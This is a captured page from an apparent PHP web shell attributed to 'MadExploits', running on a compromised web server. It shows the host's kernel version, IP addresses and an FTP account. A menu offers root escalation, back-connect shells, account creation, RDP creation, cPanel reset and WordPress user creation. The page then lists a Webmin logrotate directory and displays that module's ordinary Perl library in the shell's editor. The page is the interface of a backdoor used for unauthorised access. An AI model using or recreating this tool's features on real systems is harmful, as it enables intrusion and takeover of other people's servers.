Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.3
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
logrotate /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
528
B
-rw-r--r--
backup_config.pl
630
B
-rwxr-xr-x
cgi_args.pl
221
B
-rwxr-xr-x
config
67
B
-rw-r--r--
config-ALL-linux
67
B
-rw-r--r--
config-debian-linux
93
B
-rw-r--r--
config-freebsd
142
B
-rw-r--r--
config-open-linux
71
B
-rw-r--r--
config-redhat-linux
93
B
-rw-r--r--
config-solaris-10-ALL
132
B
-rw-r--r--
config-syno-linux
67
B
-rw-r--r--
config.info
288
B
-rw-r--r--
config.info.ca
358
B
-rw-r--r--
config.info.cs
342
B
-rw-r--r--
config.info.de
345
B
-rw-r--r--
config.info.es
272
B
-rw-r--r--
config.info.fr
390
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja
398
B
-rw-r--r--
config.info.ko
276
B
-rw-r--r--
config.info.nl
321
B
-rw-r--r--
config.info.no
325
B
-rw-r--r--
config.info.pl
334
B
-rw-r--r--
config.info.sk
356
B
-rw-r--r--
config.info.tr
288
B
-rw-r--r--
delete_logs.cgi
642
B
-rwxr-xr-x
edit_log.cgi
7.12
KB
-rwxr-xr-x
edit_sched.cgi
1.4
KB
-rwxr-xr-x
force.cgi
619
B
-rwxr-xr-x
index.cgi
3.34
KB
-rwxr-xr-x
install_check.pl
331
B
-rwxr-xr-x
log_parser.pl
605
B
-rwxr-xr-x
logrotate-lib.pl
9.36
KB
-rwxr-xr-x
module.info
203
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
132
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
186
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
226
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
223
B
-rw-r--r--
module.info.ca
145
B
-rw-r--r--
module.info.ca.auto
17
B
-rw-r--r--
module.info.cs
32
B
-rw-r--r--
module.info.cs.auto
114
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
133
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.auto
18
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
256
B
-rw-r--r--
module.info.es
40
B
-rw-r--r--
module.info.es.auto
120
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
163
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
179
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
139
B
-rw-r--r--
module.info.fr
36
B
-rw-r--r--
module.info.fr.auto
120
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
195
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
141
B
-rw-r--r--
module.info.hu
45
B
-rw-r--r--
module.info.hu.auto
125
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
152
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
210
B
-rw-r--r--
module.info.ko
29
B
-rw-r--r--
module.info.ko.auto
127
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
164
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
147
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
18
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
142
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.auto
112
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.auto
109
B
-rw-r--r--
module.info.pl
115
B
-rw-r--r--
module.info.pl.auto
18
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
151
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
160
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
163
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
213
B
-rw-r--r--
module.info.sk
44
B
-rw-r--r--
module.info.sk.auto
130
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
143
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
137
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
241
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
162
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
226
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
218
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
169
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
129
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
138
B
-rw-r--r--
prefs.info
18
B
-rw-r--r--
save_log.cgi
6.03
KB
-rwxr-xr-x
save_sched.cgi
936
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : logrotate-lib.pl
# logrotate-lib.pl # Common functions for parsing the logrotate configuration file. BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); if (open(VERSION, "<$module_config_directory/version")) { chop($logrotate_version = <VERSION>); close(VERSION); } # Use sample config if it exists but real config doesn't yet if (!-r $config{'logrotate_conf'} && -r $config{'sample_conf'}) { ©_source_dest($config{'sample_conf'}, $config{'logrotate_conf'}); } sub get_config_parent { if (!$get_config_parent_cache) { local ($conf, $lines) = &get_config(); $get_config_parent_cache = { 'members' => $conf, 'file' => $config{'logrotate_conf'}, 'line' => 0, 'eline' => $lines, 'global' => 1 }; } return $get_config_parent_cache; } # get_config([file]) # Returns a list of logrotate config file entries sub get_config { local $file = $_[0] || $config{'logrotate_conf'}; if (!$_[0] && $get_config_cache{$file}) { return wantarray ? ( $get_config_cache{$file}, $get_config_lnum_cache{$file}, $get_config_files_cache{$file} ) : $get_config_cache{$file}; } local @files = ( $file ); local @rv; local $addto = \@rv; local $section = undef; local $lnum = 0; local $fh = "FILE".$file_count++; open($fh, "<".$file); while(<$fh>) { s/\r|\n//g; s/#.*$//; if (/^\s*(.*)\{\s*$/) { # Start of a section push(@name, &split_words($1)); $section = { 'name' => [ @name ], 'members' => [ ], 'index' => scalar(@$addto), 'line' => defined($namestart) ? $namestart : $lnum, 'eline' => $lnum, 'file' => $file }; push(@$addto, $section); $addto = $section->{'members'}; @name = ( ); $namestart = undef; } elsif ((/^\s*\// || /^\s*"\//) && !$section) { # A path before a section $namestart = $lnum if (!@name); push(@name, &split_words($_)); } elsif (/^\s*}\s*$/) { # End of a section $addto = \@rv; $section->{'eline'} = $lnum; $section = undef; } elsif (/^\s*include\s+(.*)$/i) { # Including other directives files local $incfile = $1; if (-d $incfile) { # Multiple files! local $f; opendir(DIR, $incfile); local @dirs = sort { $a cmp $b } readdir(DIR); closedir(DIR); foreach $f (@dirs) { next if ($f =~ /^\./ || $f =~ /\.rpm(save|orig|new)$/ || $f =~ /\~$/ || $f =~ /,v$/ || $f =~ /\.swp$/ || $f =~ /\.lock$/); local ($inc, $ilnum, $ifiles) = &get_config("$incfile/$f"); push(@files, @$ifiles); map { $_->{'index'} += @$addto } @$inc; push(@$addto, @$inc); } } else { # A single file local ($inc, $ilnum, $ifiles) = &get_config($incfile); push(@files, @$ifiles); map { $_->{'index'} += @$addto } @$inc; push(@$addto, @$inc); } } elsif (/^\s*(\S+)\s*(.*)$/) { # Single directive local $dir = { 'name' => $1, 'value' => $2, 'index' => scalar(@$addto), 'line' => $lnum, 'eline' => $lnum, 'file' => $file }; push(@$addto, $dir); if ($1 eq 'postrotate' || $1 eq 'prerotate') { # Followed by a multi-line script! while(<$fh>) { $lnum++; s/\r|\n//g; last if (/^\s*(endscript|endrotate)\s*$/); s/^\s+//; $dir->{'script'} .= $_."\n"; } $dir->{'eline'} = $lnum; } } $lnum++; } close($fh); if (!$_[0]) { $get_config_cache{$file} = \@rv; $get_config_lnum_cache{$file} = $lnum; $get_config_files_cache{$file} = \@files; } return wantarray ? (\@rv, $lnum, \@files) : \@rv; } sub split_words { local @rv; local $str = $_[0]; while($str =~ /^\s*"(.*)"(.*)$/ || $str =~ /^\s*(\S+)(.*)$/) { push(@rv, $1); $str = $2; } return @rv; } sub join_words { return join(" ", map { /\s/ ? "\"$_\"" : $_ } @_); } # find(name, &config) sub find { local @rv = grep { lc($_->{'name'}) eq lc($_[0]) } @{$_[1]}; return wantarray ? @rv : $rv[0]; } # find_value(name, &config) sub find_value { local @rv = map { defined($_->{'script'}) ? $_->{'script'} : $_->{'value'} } grep { lc($_->{'name'}) eq lc($_[0]) } @{$_[1]}; return wantarray ? @rv : $rv[0]; } # get_logrotate_version(&out) sub get_logrotate_version { local $out = &backquote_command("$config{'logrotate'} -v 2>&1", 1); ${$_[0]} = $out if ($_[0]); return $out =~ /logrotate\s+([0-9\.]+)\s/ || $out =~ /logrotate\-([0-9\.]+)\s/ ? $1 : undef; } # get_period(&conf) sub get_period { foreach $p ("daily", "weekly", "monthly") { local $ex = &find($p, $_[0]); return $p if ($ex); } return undef; } # save_directive(&parent, &old|name, &new, [indent]) sub save_directive { local $conf = $_[0]->{'members'}; local $old = !defined($_[1]) ? undef : ref($_[1]) ? $_[1] : &find($_[1], $conf); local $lref = &read_file_lines($old ? $old->{'file'} : $_[0]->{'file'}); local $new = !defined($_[2]) ? undef : ref($_[2]) ? $_[2] : { 'name' => $old ? $old->{'name'} : $_[1], 'value' => $_[2] }; local @lines = &directive_lines($new, $_[3]) if ($new); local $gparent = &get_config_parent(); if ($old && $new) { # Update local $oldlines = $old->{'eline'} - $old->{'line'} + 1; splice(@$lref, $old->{'line'}, $oldlines, @lines); $new->{'line'} = $old->{'line'}; $new->{'index'} = $old->{'index'}; $new->{'file'} = $old->{'file'}; $new->{'eline'} = $new->{'line'} + scalar(@lines) - 1; %$old = %{$new}; &renumber($gparent, $old->{'file'}, $old->{'eline'}, scalar(@lines) - $oldlines, $old); } elsif ($old && !$new) { # Delete local $oldlines = $old->{'eline'} - $old->{'line'} + 1; splice(@$lref, $old->{'line'}, $old->{'eline'} - $old->{'line'} + 1); splice(@$conf, $old->{'index'}, 1); &renumber($gparent, $old->{'file'}, $old->{'line'}, -$oldlines); } elsif (!$old && $new && $_[0]->{'global'} && !$new->{'members'}) { # Add at the start of the file if (defined($_[0]->{'line'})) { splice(@$lref, 0, 0, @lines); $new->{'line'} = 0; $new->{'eline'} = $new->{'line'} + scalar(@lines) - 1; $new->{'file'} = $_[0]->{'file'}; &renumber($gparent, $new->{'file'}, $new->{'line'}-1, scalar(@lines)); } $new->{'index'} = 0; splice(@$conf, 0, 0, $new); } elsif (!$old && $new) { # Add (to end of section) if (defined($_[0]->{'line'})) { if (!$new->{'file'} || $_[0]->{'file'} eq $new->{'file'}) { # Adding to parent file splice(@$lref, $_[0]->{'eline'}, 0, @lines); $new->{'line'} = $_[0]->{'eline'}; $new->{'eline'} = $new->{'line'} + scalar(@lines) - 1; $new->{'file'} = $_[0]->{'file'}; &renumber($gparent, $new->{'file'}, $new->{'line'}-1, scalar(@lines)); } else { # Adding to another file local $lref2 = &read_file_lines($new->{'file'}); $new->{'line'} = scalar(@$lref2); $new->{'eline'} = $new->{'line'} + scalar(@lines) - 1; push(@$lref2, @lines); } } $new->{'index'} = scalar(@$conf); push(@$conf, $new); } } # renumber(&object, file, startline, count, [&skip]) sub renumber { return if (!$_[3]); if ($_[0]->{'file'} eq $_[1] && $_[0] ne $_[4]) { $_[0]->{'line'} += $_[3] if ($_[0]->{'line'} > $_[2]); $_[0]->{'eline'} += $_[3] if ($_[0]->{'eline'} > $_[2]); } if ($_[0]->{'members'}) { local $c; foreach $c (@{$_[0]->{'members'}}) { &renumber($c, $_[1], $_[2], $_[3], $_[4]); } } } # directive_lines(&dir, indent) sub directive_lines { local @rv; if ($_[0]->{'members'}) { push(@rv, $_[1].&join_words(@{$_[0]->{'name'}})." {"); foreach $m (@{$_[0]->{'members'}}) { push(@rv, &directive_lines($m, $_[1]."\t")); } push(@rv, $_[1]."}"); } elsif ($_[0]->{'script'}) { push(@rv, $_[1].$_[0]->{'name'}); foreach $s (split(/\n/, $_[0]->{'script'})) { push(@rv, $_[1].$s); } push(@rv, $_[1]."endscript"); } else { push(@rv, $_[1].$_[0]->{'name'}. ($_[0]->{'value'} eq "" ? "" : " ".$_[0]->{'value'})); } return @rv; } # delete_if_empty(file) sub delete_if_empty { local $conf = &get_config(); local %files = map { $_, 1 } &unique(map { $_->{'file'} } @$conf); &unlink_file($_[0]) if (!$files{$_[0]}); } %global_default = ( "nocompress" => "", "compress" => undef, "nodelaycompress" => "", "delaycompress" => undef, "ifempty" => "", "notifempty" => undef, "nocopytruncate" => "", "copytruncate" => undef, "nomissingok" => "", "missingok" => undef, "rotate" => 0, "create" => "", "nocreate" => undef, "noolddir" => "", "olddir" => undef, "ext" => undef, "mail" => undef, "nomail" => "", "maillast" => "", "mailfirst" => undef, "errors" => undef, "postrotate" => undef, "prerotate" => undef, "errors" => undef, ); # rotate_log_now(&log) # Call logrotate on a config fragment file to rotate just one set of logs # immediately. sub rotate_log_now { local $conf = &get_config(); local $temp = &transname(); open(TEMP, ">$temp"); local $c; foreach $c (@$conf) { if (!$c->{'members'}) { print TEMP map { "$_\n" } &directive_lines($c); } } print TEMP map { "$_\n" } &directive_lines($_[0]); close(TEMP); local $out = &backquote_logged("$config{'logrotate'} -f $temp 2>&1"); return ($?, $out); } # get_add_file([filename]) # Returns the file to which new logrotate sections should be added sub get_add_file { local ($filename) = @_; $filename =~ s/\*/ALL/g; if ($config{'add_file'} && -d $config{'add_file'} && $filename) { # Adding to a new file in a directory return "$config{'add_file'}/$filename.conf"; } elsif ($config{'add_file'} && !-d $config{'add_file'}) { # Make sure file is valid local ($conf, $lnum, $files) = &get_config(); if (&indexof($config{'add_file'}, @$files) >= 0) { return $config{'add_file'}; } } return $config{'logrotate_conf'}; } 1;
Close